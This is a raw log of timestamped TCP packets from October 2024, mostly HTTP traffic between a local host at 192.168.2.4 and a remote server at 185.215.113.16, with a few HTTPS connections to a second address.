Oct 31, 2024 20:52:33.839889050 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.839951992 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.840464115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.840476036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.840486050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.840542078 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.841216087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.841234922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.841245890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.841272116 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.841305971 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.842010975 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.842022896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.842034101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.842084885 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.842607021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.842617989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.842628956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.842641115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.842662096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.842694998 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.843450069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.843511105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.843513012 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.843521118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.843570948 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.847465038 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.847482920 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.847500086 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.847510099 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.847516060 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.847534895 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.847564936 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.857163906 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857214928 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.857217073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857228041 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857238054 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857249975 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857256889 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.857311964 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857331038 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857341051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857387066 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.857559919 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857615948 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.857639074 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857650042 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857671022 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857688904 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.857722044 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.857940912 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.857995987 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.858002901 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858014107 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858040094 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858051062 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858074903 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.858093977 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.858246088 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858257055 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858289957 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858314037 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.858345032 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.858349085 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858361959 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858402967 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.858434916 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858447075 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858496904 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858514071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858525991 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858537912 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858550072 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858562946 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.858618975 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.859241962 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.859251976 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.859261036 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.859287024 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.859302044 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.859366894 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.859415054 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.891019106 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.891030073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.891057968 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.891077995 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.991511106 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:33.991596937 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:33.991697073 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:33.992053986 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:33.992086887 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:33.993092060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993113041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993124008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993143082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993154049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993194103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.993331909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993350029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993360043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993382931 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.993416071 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.993462086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993539095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993547916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993596077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.993674994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993732929 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.993742943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993756056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993772984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993783951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993793964 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.993796110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.993844032 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.994141102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994211912 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.994221926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994242907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994254112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994293928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.994306087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994318008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994368076 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.994380951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994467020 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.994764090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994800091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994812012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994832993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994844913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994915009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994925976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994937897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.994955063 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.995016098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995027065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995037079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995093107 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.995584011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995630980 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.995657921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995670080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995687962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995698929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995698929 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.995711088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995744944 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.995858908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995871067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995882034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995893002 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995904922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.995909929 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.995984077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.996536016 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996615887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996628046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996663094 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.996690035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996701002 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996710062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996721983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996802092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996813059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996822119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996834040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.996839046 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.996912003 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.997788906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997836113 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.997850895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997864008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997889996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997900963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997905016 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.997914076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997941017 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.997972012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997983932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.997993946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998004913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998018026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998019934 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.998090029 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.998442888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998457909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998464108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998475075 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998509884 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.998580933 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.998755932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998768091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998779058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998867989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998879910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998891115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998902082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998963118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998975992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998986959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.998999119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.999666929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.002120018 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.002255917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.002473116 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.279439926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279460907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279474020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279530048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279541969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279552937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279563904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279576063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279625893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279639006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279943943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279956102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279967070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.279978037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280092001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280102968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280113935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280123949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280137062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280148029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280160904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280172110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280184031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280193090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280205965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280217886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280230045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280241013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280252934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280271053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280282974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280293941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280304909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280317068 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280328989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280633926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280644894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280654907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280667067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280678988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280690908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280704021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280714989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280726910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280736923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280749083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280760050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280771971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280782938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280795097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280807018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280818939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280832052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280926943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280935049 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.280972958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.280985117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.281094074 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.281094074 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.281156063 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.281205893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.281234980 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.281260967 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.285855055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.285866976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.285877943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.285893917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.285906076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.285933971 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.285964966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.285976887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.285988092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286043882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286053896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286065102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286076069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286087990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286135912 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286147118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286149979 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.286159992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286170959 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.286191940 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.286396980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286412001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286422968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286457062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286468983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286480904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286511898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286596060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286638975 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286648989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286740065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286755085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286772013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286782980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286793947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286806107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286817074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.286995888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287039995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287051916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287108898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287120104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287131071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287195921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287208080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287219048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287230968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287241936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287429094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287442923 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.287447929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287460089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287534952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287545919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287556887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287568092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287619114 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.287637949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.287653923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287667036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287676096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.287677050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287691116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287704945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287713051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.287718058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287730932 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.287731886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287743092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.287759066 CET	49766	80	192.168.2.4	185.215.113.16
